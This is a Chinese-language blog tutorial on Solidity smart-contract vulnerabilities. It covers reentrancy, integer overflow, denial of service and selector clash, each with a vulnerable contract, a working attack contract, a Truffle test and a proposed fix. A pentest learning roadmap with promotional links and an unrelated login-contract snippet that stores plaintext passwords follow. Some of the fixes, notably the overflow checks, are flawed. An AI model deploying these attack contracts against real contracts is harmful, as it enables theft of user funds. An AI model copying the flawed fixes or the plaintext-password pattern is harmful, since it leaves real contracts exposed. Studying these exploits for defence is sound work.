solidity智能合约安全 (一)

在区块链的发展中,出现了各种各样的合约漏洞,在solidity的迭代中,虽然有部分漏洞已经修复了,但是漏洞是会一直存在的。下面我将讲诉部分合约的经典漏洞。

1.重入攻击

重入攻击可以说是最为常见的一个漏洞了,通常在使用call方法时,最容易造成重入攻击。攻击者通过fallback函数来达到一直进行操作,从而转走或者铸造大量的代币。下面举一个简单的例子。当A到银行去取钱,A告诉机器:“我要取钱”,机器就会进行查询银行余额,余额大于0则吐出用户锁需要的钱,并询问A是否收到钱了。A又继续告诉机器“我要取钱”,机器再次去执行取钱操作,直到银行再也没有钱才会终止。像这样取出银行的所有钱。

1-1:简单的实现存在重入攻击的合约例子
pragma solidity ^0.8.10;
contract Bank {
    mapping (address => uint256) public balanceOf;    // 余额mapping

    // 存入ether,并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

 int public isUser = 0; 
 // 在每一次交易前,先判断状态是否为不可使用,不可使用则报错
    //通过重入锁来防止重入
    // modifier _retreeLock(){
    //     require(isUser == 0,"trans error");
    //     //在交易时的状态为不可使用
    //     isUser = 1;
    //     _;
    //     //交易完成后变为可使用状态
    //     isUser = 0;
    // }

    // 提取msg.sender的全部ether
    function withdraw() external   {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
1-2:实现攻击合约
pragma solidity ^0.8.10;
import './Bank.sol';
contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }
    
   
    // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数,调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
1-3:攻击步骤

部署Bank合约,调用deposit方法正常的存入20个以太,然后部署Attack合约再调用attack方法存入一个以太,最后取出攻击合约余额是否等于21个以太。

1-4:迁移脚本
const Bank = artifacts.require("Bank")
const Attack = artifacts.require("Attack")

module.exports = async (deployer)=>{
     await deployer.deploy(Bank);
     const bank = await Bank.deployed();
     await deployer.deploy(Attack,bank.address);
}
1-5:攻击脚本
const Bank = artifacts.require("Bank")
const Attack = artifacts.require("Attack")

contract("attack",(accounts)=>{
    it("attack test",async()=>{
        const bank = await Bank.deployed();
        //存入20个eth
        await bank.deposit({value:web3.utils.toWei("20","ether")});
        //部署攻击合约,并传入被攻击合约地址
        const attack = await Attack.deployed(bank.address,{from:accounts[2]});
        //调用攻击方法需要传入一个以太
        await attack.attack({from:accounts[2],value:web3.utils.toWei("1","ether")});
        //获取攻击合约的余额
       const blance = await attack.getBalance();
       //判断是否得到21个以太,将bank合约的所有余额全部取了出来
       assert.equal(web3.utils.toWei("21","ether"),blance,"attack error");
    })
})

攻击成功的截图:

1-6:如何避免重入攻击

对于重入攻击我所才用的方法是,给方法加一个重入锁,在用户第一次调用时,显示交易状态初始化为未交易,交易过程中,交易状态变为正在交易,交易完成后(withdraw方法执行完成后)交易状态再变为未交易。使用修饰器可以执行这一个操作

 /**
  * 状态0表示未交易
  * 状态1表示正在交易
  */
 int public isUser = 0; 
 // 在每一次交易前,先判断状态是否为不可使用,不可使用则报错
    //通过重入锁来防止重入
    modifier _retreeLock(){
        require(isUser == 0,"trans error");
        //在交易时的状态为不可使用
        isUser = 1;
        _;
        //交易完成后变为可使用状态
        isUser = 0;
    }

修复漏洞后运行截图:

2.整型溢出

整型溢出漏洞再低版本的solidity中,是最为常见的一个漏洞。因为在EVM中,限制了每一个数据类型的大小。以uint8为例:它的最小值为0,最大值为
2**8
-1,所有uint8的值的区间为[0,255],当为最小值时再-1就会变成255,当最大值+1时就会变为0。这种情况也就只会出现再低版本的solidity合约中,再高版本的solidity合约中,引入了
[Safemath 库](https://github.com/OpenZeppelin/openzeppelin-
contracts/blob/master/contracts/utils/math/SafeMath.sol “Safemath
库”)。再整型溢出时会报错。

1-1:整型溢出合约代码复现
pragma solidity ^0.4.25;

contract POC{
    /**
    整型移除的漏洞:
        1.什么是整形溢出:
            在EVM中固定了每一个整型的最大值,如果到达整型的下临界值:0,整型的上临界值:2** ? -1;
            列入uint8类型,下临界值是0,上临界值是 2**8 -1。当到达下临界值时 -1,数值则会下溢变为 2**8-1。
            当到达上临界值时 +1,数值则会上溢变为 0。 
        2.怎么造成整型溢出
            只需要判断当前数字是否到达了临界值,再进行加减操作
        3.如何修复整型溢出
            1.使用SafeMath库
            2.当溢出时,直接抛出异常
     */
    //加法溢出
    //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
    uint256 public sumV;
    uint256 public subV;
    uint256 public mulV;
    function add_overflow() returns (uint256 _overflow) {
        uint256 max = 2**256 - 1;
        sumV = max +1;
        return sumV;
    }


	//减法溢出
	//如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
	function sub_underflow() returns (uint256 _underflow) {
    	uint256 min = 0;
        subV = min -1;
    	return subV;
	}
    
    //乘法溢出
	//如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
	function mul_overflow() returns (uint256 _underflow) {
    	uint256 mul = 2**255;
        uint256 flg =2;
        mulV  = mul *flg;
    	return mulV;
	}
}
1-2:如何避免整型溢出

最为简单的一种方式就是在计算之前就进行判断,计算的结果是否会造成整型溢出的后果

1-3:修复后的合约代码
pragma solidity ^0.4.25;

contract POC{
    /**
    整型移除的漏洞:
        1.什么是整形溢出:
            在EVM中固定了每一个整型的最大值,如果到达整型的下临界值:0,整型的上临界值:2** ? -1;
            列入uint8类型,下临界值是0,上临界值是 2**8 -1。当到达下临界值时 -1,数值则会下溢变为 2**8-1。
            当到达上临界值时 +1,数值则会上溢变为 0。 
        2.怎么造成整型溢出
            只需要判断当前数字是否到达了临界值,再进行加减操作
        3.如何修复整型溢出
            1.使用SafeMath库
            2.当溢出时,直接抛出异常
     */
    //加法溢出
    //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
    uint256 public sumV;
    uint256 public subV;
    uint256 public mulV;
    function add_overflow() returns (uint256 _overflow) {
        uint256 max = 2**256 - 1;
        //加个限制条件,防止溢出
        require(max +1 !=0 ,"add_overflow error");
       sumV = max +1;
        return sumV;
    }


	//减法溢出
	//如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
	function sub_underflow() returns (uint256 _underflow) {
    	uint256 min = 0;
        //当等于0时,禁止做减法
       require(min !=0,"sub_underflow error");
       subV = min -1;
        return subV;
	}
    
    //乘法溢出
	//如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
	function mul_overflow() returns (uint256 _underflow) {
    	uint256 mul = 2**255;
        uint256 flg =2;
        require(mul * flg !=0,"mul_overflow error");
        mulV  = mul *flg;
    	return mulV;
	}
}
1-4:迁移脚本
const POC = artifacts.require("POC");

module.exports = async(deployer)=>{
    await deployer.deploy(POC);
}
1-5:攻击脚本
const POC = artifacts.require("POC");

contract("poc test",async (accounts)=>{
    it("test",async ()=>{
        const poc = await POC.deployed();
        await poc.add_overflow();
        await poc.sub_underflow();
        await poc.mul_overflow();
        const sumv = await poc.sumV();
       const subv = await poc.subV();
       const mulv = await poc.mulV();
         assert.equal(sumv,0,"attack error");
        assert.equal(subv,2**256 - 1,"attack error");
        assert.equal(mulv,0,"attack error");
    })
})

3.拒绝服务(dos)

拒绝服务的漏洞攻击:

1.什么是拒绝服务漏洞

通常通过call函数的回调方法来实现导致合约状态改变,无法正常进行运行。从而导致交易失败。最为经典的攻击:以太之王

2.如何进行拒绝服务漏洞攻击

使用call函数的回调方法来实现导致合约状态改变,无法正常进行运行。从而导致交易失败。

3.如何避免拒绝服务漏洞攻击

外部合约的函数调用(例如 call)失败时不会使得重要功能卡死,比如将上面漏洞合约中的 require(success, “Refund Fail!”);
去掉,退款在单个地址失败时仍能继续运行。

合约不会出乎意料的自毁。

合约不会进入无限循环。

require 和 assert 的参数设定正确。

退款时,让用户从合约自行领取(push),而非批量发送给用户(pull)。

确保回调函数不会影响正常合约运行。

确保当合约的参与者(例如 owner)永远缺席时,合约的主要业务仍能顺利运行。

1-1:拒绝服务合约代码复现:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。
contract DoSGame {
    bool public refundFinished;
    mapping(address => uint256) public balanceOf;
    address[] public players;

    // 所有玩家存ETH到合约里
    function deposit() external payable {
        require(!refundFinished, "Game Over");
        require(msg.value > 0, "Please donate ETH");
        // 记录存款
        balanceOf[msg.sender] = msg.value;
        // 记录玩家地址
        players.push(msg.sender);
    }

    // 游戏结束,退款开始,所有玩家将依次收到退款
    function refund() external {
        require(!refundFinished, "Game Over");
        uint256 pLength = players.length;
        // 通过循环给所有玩家退款
        for(uint256 i; i < pLength; i++){
            address player = players[i];
            uint256 refundETH = balanceOf[player];
            (bool success, ) = player.call{value: refundETH}("");
            //此处去掉用于修复合约,最简单的方式,不让合约阻塞
            require(success, "Refund Fail!");
            balanceOf[player] = 0;
        }
        refundFinished = true;
    }

    function balance() external view returns(uint256){
        return address(this).balance;
    }
}
1-2:拒绝服务攻击合约代码复现
// SPDX-License-Identifier: MIT 
import "./DoSGame.sol";
pragma solidity ^0.8.4;
contract Attack {
    // 退款时进行DoS攻击
    fallback() external payable{
        revert("DoS Attack!");
    }

    // 参与DoS游戏并存款
    function attack(address gameAddr) external payable {
        DoSGame dos = DoSGame(gameAddr);
        dos.deposit{value: msg.value}();
    }
}
1-3:攻击步骤

首先部署漏洞合约,,在正常的往里存钱,然后再部署攻击合约,调用attack方法后,再调用漏洞合约中的refund方法查看是否能够正常的进行退款。

1-4:迁移脚本
const DoSGame = artifacts.require("DoSGame");
const Attack =artifacts.require("Attack");

module.exports = async(deployer)=>{
    await deployer.deploy(DoSGame);
    await deployer.deploy(Attack);
}
1-5:攻击脚本
const DoSGame = artifacts.require("DoSGame");
const Attack =artifacts.require("Attack");

contract("dosAttack test",async(accounts)=>{
    it("test",async ()=>{
        const dosGame = await DoSGame.deployed();
        //进行存钱进去
        await dosGame.deposit({from:accounts[1],value:web3.utils.toWei("2","ether")});
        await dosGame.deposit({from:accounts[2],value:web3.utils.toWei("2","ether")});
        await dosGame.deposit({from:accounts[3],value:web3.utils.toWei("2","ether")});
        const attack = await Attack.deployed();
        await attack.attack(dosGame.address,{from:accounts[6],value:web3.utils.toWei("2","ether")});
        await dosGame.refund();

    })
})
1-5:如何避免拒绝服务攻击

拒绝服务的造成就是因为合约方法阻塞,从而导致合约无法正常运行,最简单的方式就是避免让方法阻塞,再上面的合约中造成阻塞的原因就是refund方法中的
(bool success, ) = player.call{value:
refundETH}(“”);这一句让方法无法正常使用,导致合约无法正常运行。这里只需要阻塞这一句代码就可以正常运行了。

攻击成功截图:

4.选择器碰撞

在了解选择器碰撞之前,需要先了解什么是选择器?

在soldity中的选择器就是,一个函数名(参数类型
参数名……)组成的哈希的前4个字节。相当于就是EVM需要通过这4个字节来执行相应的方法。因为是4个字节大小,所以很容易找出由相同选择器的不同的方法存在。从而造成方法的错误调用。

大家可以用这两个网站来查同一个选择器对应的不同函数:

  1. Ethereum Signature Database
  2. Signature Database

选择器碰撞的攻击原理?

获取到需要进行攻击的指定方法的选择器,在以下的示例中知道putCurEpochConPubKeyBytes方法的选择器是:0x41973cd9,而我们攻击时就需要构建一个函数选择器和0x41973cd9这个一致的函数,在简介的达到攻击的效果(调用putCurEpochConPubKeyBytes方法的效果)。

1-1:选择器碰撞漏洞合约复现
// SPDX-License-Identifier: MIT 
pragma solidity ^0.8.10;
contract SelectorClash {
    /**
    选择器碰撞的示例合约:
        1.什么是选择器?
            1).选择器就是函数签名的哈希值的前4个字节,函数的选择器也就类似于函数在vm中的地址一样,
                通过选择器来找到函数并且进行调用。
            2).函数签名就是 函数名(参数类型及参数名称,……)
            3).因为选择器只有4个字节,所有很容易造成不同函数之间的选择器一致(冲突)的情况存在。

        2.选择器碰撞的攻击原理?
            获取到需要进行攻击的指定方法的选择器,在以下的示例中知道putCurEpochConPubKeyBytes方法的选择器是:0x41973cd9,
            而我们攻击时就需要构建一个函数选择器和0x41973cd9这个一致的函数,在简介的达到攻击的效果。
        3.如何进行攻击?
            1)攻击者需要知道攻击函数的选择器,然后构建一个选择器和被攻击函数一致的函数,从而达到攻击的效果。
        4.如何进行修复?
            1).函数选择器很容易被碰撞,即使改变参数类型,依然能构造出具有相同选择器的函数。
            2).管理好合约函数的权限,确保拥有特殊权限的合约的函数不能被用户调用。
     */


    bool public solved; // 攻击是否成功

    // 攻击者需要调用这个函数,但是调用者 msg.sender 必须是本合约。
    function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
        require(msg.sender == address(this), "Not Owner");
        solved = true;
    }

    // 有漏洞,攻击者可以通过改变 _method 变量碰撞函数选择器,调用目标函数并完成攻击。
    function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
        (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num)));
    }
}
1-2:攻击步骤

攻击者需要知道攻击函数的选择器,然后构建一个选择器和被攻击函数一致的函数,从而达到攻击的效果。

1-3:迁移脚本
const SelectorClash = artifacts.require("SelectorClash")

module.exports = async(deployer)=>{
    await deployer.deploy(SelectorClash);
}
1-4:攻击脚本
const SelectorClash = artifacts.require("SelectorClash")

contract("SelectorClash test",(accounts)=>{
    it("attack test",async()=>{
        const selectorClash = await SelectorClash.deployed();
        await selectorClash.executeCrossChainTx("0x6631313231333138303933","0x","0x",0);
        const solved = await selectorClash.solved();
        console.log("solve",solved);
        assert.equal(solved,true,"attack fail");
    })
})
1-5:如何避免选择器碰撞

1).函数选择器很容易被碰撞,即使改变参数类型,依然能构造出具有相同选择器的函数。

2).管理好合约函数的权限,确保拥有特殊权限的合约的函数不能被用户调用。

攻击成功效果截图:

资料来源:

WTF: Hello from WTF Academy | WTF Academy

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 12
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Solidity 智能合约中实现登录和注册功能,可以采用以下步骤: 1. 定义一个结构体(struct)来代表用户信息,包括用户名、密码等字段。 ``` struct User { string username; string password; bool isRegistered; } ``` 2. 定义一个 mapping,用于存储所有已注册的用户信息。 ``` mapping(address => User) public users; ``` 3. 实现注册功能:用户在调用注册函数时,传入用户名和密码。合约首先检查该用户是否已经注册,如果已经注册,则返回错误信息;否则,将用户信息存储在 mapping 中,并将 isRegistered 标志设置为 true。 ``` function register(string memory _username, string memory _password) public { require(!users[msg.sender].isRegistered, "User already registered."); User memory newUser = User(_username, _password, true); users[msg.sender] = newUser; } ``` 4. 实现登录功能:用户在调用登录函数时,传入用户名和密码。合约首先检查该用户是否已经注册,如果未注册,则返回错误信息;否则,检查密码是否正确,如果正确则返回成功信息,否则返回错误信息。 ``` function login(string memory _username, string memory _password) public view returns (string memory) { User storage user = users[msg.sender]; require(user.isRegistered, "User not registered."); if (keccak256(bytes(user.password)) == keccak256(bytes(_password))) { return "Login successful."; } else { return "Incorrect password."; } } ``` 需要注意的是,上述代码仅作为示例,实际使用时需要考虑安全性和实际业务需求。例如,在实际应用中,密码应该进行加密存储,以保证用户信息的安全性。 另外,需要注意的是,由于 Solidity 智能合约的特殊性,无法像传统应用程序一样实现“退出”功能,因此在实现登录功能时需要考虑如何管理用户会话。可以采用类似于 Token 的方式,为每个用户生成一个独特的标识符,并在每个请求中将该标识符传递给合约,以验证用户身份。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值